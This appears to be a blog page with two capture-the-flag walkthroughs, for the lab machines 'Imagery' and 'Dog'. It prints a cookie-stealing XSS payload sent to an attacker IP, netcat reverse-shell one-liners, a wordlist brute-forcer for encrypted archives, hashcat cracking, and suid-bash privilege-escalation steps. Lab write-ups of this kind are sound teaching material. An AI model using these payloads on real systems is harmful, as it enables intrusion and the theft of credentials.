Tag: Machines

  • Imagery


    Summary

    Imagery is a Linux machine that was released on Sep 27th 2025. It challenges users to exploit multiple common flaws, such as XSS, LFI, and Command Injection, with a heavy emphasis on utilizing Python scripting.


    Write-up

    Foot Hold

    As always, let’s start with a ports scan.

    sudo nmap -v -sCV -T4 -oN nmap_imagery <IP>

    There’s a webserver on port 8000. The header also specify Werkzeug and python so this is most likely be Flask framework. Keep this in might we will need it later.

    Looking at the website there are a Login and Register page.

    After testing some basic authentication bypass, SQL/NoSQL injection with the login page I decided that it’s not vulnerable. So we move on to Register a user.

    After logged in i noticed this response from the server

    So I tried to create another user and injecting the isAdmin and isTestuser into the POST request but it doesn’t work.

    There’s also a function to upload picture.

    Since this is a Flask Framework it’s likely not running php. But I did try some file upload bypass. Unfortunately the web app did a very good job sanitize user input.

    However because Title and Description also take user input. We should also test for XSS.

    Notice that there is no reflection on the left picture compare to the normal one on the right. So there must be some sanitize from the server side.

    Scrolling down to the footer of the page there’s a new Report Bug function

    Even though there’s input sanitization in the upload functions the dev might forgot to do the same here. This could be a potential place to test for Stored XXS.

    We will use this payload to steal the admin’s cookie:

    <img src=x onerror=this.src='http://<Attacker_IP>/?c='+document.cookie>

    But first we have to set up a simple webserver to catch it:

    python3 -m http.server 80

    And voila

    Replace that cookie into our browser and we got access to the admin pannel

    Intercept the Download Log function and with some test I found a LFi vulnerable

    Remember that we identify this is a Flask app earlier? So Flask usually have some common file like app.py, run.py or config.py. You could make a guess or FUZZ these files with ffuf or GoBuster. Just remember to specify the .py extension.

    On the app.py file we can see a list of external libraries that the app use

    Take a look at api_edit.py and config.py we found something quite interest

    @bp_edit.route('/apply_visual_transform', methods=['POST'])
    ...
    ...
    ...
            if transform_type == 'crop':
                x = str(params.get('x'))
                y = str(params.get('y'))
                width = str(params.get('width'))
                height = str(params.get('height'))
                command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
                subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

    Because this uses shell=True with string concatenation, user-controlled values (x, y, width, height) can be injected into the shell command.

    Now we have to find a user that can use that function. There’s a database that’s specify in the config.py

    Looking at db.json

    The testuser’s password is saved as md5 hash, we could crack it with:

    hashcat -m 0 <Hash> /usr/share/wordlists/rockyou.txt

    After that we login as testuser, upload a picture, click on Transform Image and Crop. Then intercept the request.

    We will set up a listener then inject this reverse shell payload into the y variable:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

    There is an interest file in /var/backup

    Transfer that file back to our machine and identify it with the file command:

    This zip file were encrypted using  AES256-CBC. So I’ve wrote this script to decrypt the file:

    #!/usr/bin/env python3
    """
    Simple tester for pyAesCrypt AES-Crypt v2 files using a wordlist.
    Usage:
        python3 brute_pyaescrypt.py \
          --infile web_20250806_120723.zip.aes \
          --wordlist /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
    """
    import argparse
    import pyAesCrypt
    import os
    import zipfile
    import sys
    import tempfile
    
    BUFFER = 64 * 1024
    
    def try_password(infile, outpath, pw):
        try:
            pyAesCrypt.decryptFile(infile, outpath, pw, BUFFER)
            # Validate as zip
            if zipfile.is_zipfile(outpath):
                return True
            else:
                # Not valid, remove temp file
                try:
                    os.remove(outpath)
                except OSError:
                    pass
                return False
        except Exception:
            # Remove partial output if any
            try:
                if os.path.exists(outpath):
                    os.remove(outpath)
            except OSError:
                pass
            return False
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument('--infile', required=True)
        ap.add_argument('--wordlist', required=True)
        ap.add_argument('--encoding', default='latin-1', help='wordlist decoding (default latin-1)')
        args = ap.parse_args()
    
        infile = args.infile
        if not os.path.exists(infile):
            print("Input file not found:", infile); sys.exit(2)
        if not os.path.exists(args.wordlist):
            print("Wordlist not found:", args.wordlist); sys.exit(2)
    
        print("Wordlist:", args.wordlist)
        print("Input:", infile)
        tried = 0
        with open(args.wordlist, 'r', encoding=args.encoding, errors='ignore') as f:
            for line in f:
                pw = line.rstrip('\n\r')
                tried += 1
                if tried % 5000 == 0:
                    print(f"tried {tried} passwords...", flush=True)
                # use a temp file per attempt
                with tempfile.NamedTemporaryFile(prefix='pyaes_try_', delete=False) as tmp:
                    tmpname = tmp.name
                if try_password(infile, tmpname, pw):
                    print("\n*** FOUND password:", pw)
                    print("Decrypted file saved as:", tmpname)
                    # optionally move to useful name
                    out_zip = os.path.splitext(infile)[0] + ".zip"
                    try:
                        os.replace(tmpname, out_zip)
                        print("Renamed to:", out_zip)
                    except Exception:
                        pass
                    return
                # remove temp file
                try:
                    if os.path.exists(tmpname):
                        os.remove(tmpname)
                except OSError:
                    pass
    
        print("Finished — no password found in the provided wordlist.")
    
    if __name__ == '__main__':
        main()

    After extracted the archive we can see that this a backup of the webapp. Checking db.json again we found another user.

    We will attempt to crack mark’s password using the same technique above

    After getting Mark’s password we can login using the same reverse shell with this command:

    su Mark

    Note: You have to upgrade the shell to full TTY so you can type in the password

    The app will ask for a master password but since we don’t know what it is. We will attempt to reset it with this:

    Since this a custom app, you won’t find any documentation online. We will have to rely on the help option

    This line look interested because it said shell_command. So we might be able to use some system commands if we set up a Cron job.

    sudo /usr/local/bin/charcol shell
    
    auto add --schedule "* * * * *" --command "chmod +s /bin/bash" --name "PricEsc"

    And we got root!

  • Dog

    Summary

    Dog is a Linux machine that was released on 08 Mar 2025, that focuses on foundational enumeration and exploitation techniques.

    Write-up

    Let do a quick nmap to scan for open ports

    sudo nmap -sCV -p- -T4 -oN nmap_dog <IP>

    We can see that a web server is running on port 80 and a Git repository is present. The robots.txt file also discloses some directories. After further investigation, I found that the version of Backdropcms is 1.27.1, located at http://<IP>/core/profiles/testing/testing.info.

    Version 1.27.1 is vulnerable to Authenticated Remote Command Execution (RCE), as documented at https://www.exploit-db.com/exploits/52021. Now, let’s hunt for a valid credentials.

    Browsing the website I found these 2 potential usernames.

    Let’s move on to the Git repository. We will use this tool to download the repository: https://github.com/arthaud/git-dumper.

    After you finish downloading the repository, I recommend opening the folder in VS Code. This will improve readability and searchability.

    This could be the password we are looking for. Let’s see if we can find any other usernames. Based on the support account, we can use @dog.htb as the search string.

    And voilà, tiffany:Ba************024 is a valid credential. Now, let’s follow the instructions of the exploit to obtain a webshell. Remember to compress it into a .tar file.

    We will use this command to obtain a reverse shell:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> <PORT> >/tmp/f

    Note: You need to be quick, as the web server will delete the module after a few minutes.

    Looking at the /etc/passwd we found two new usernames jobert and johncusack

    We’re unable to progress further, so let’s try reusing the password Ba**********024 for other users. And indeed, johncusack:Ba*********024 works.

    sudo -l and we found an interesting binary:

    Checking the status we got this error:

    The application is running at /var/www/html

    Notice this function:

    Let put this script in the /tmp and call it

    <?php
    
    $output = shell_exec('ls');
    
    echo "<pre>$output</pre>";
    
    ?>

    Now let modify the script as follow:

    <?php
    
    $output = shell_exec('chmod +s /bin/bash');
    
    echo "<pre>$output</pre>";
    
    ?>

    Now call it with /bin/bash -p to get root and read the flag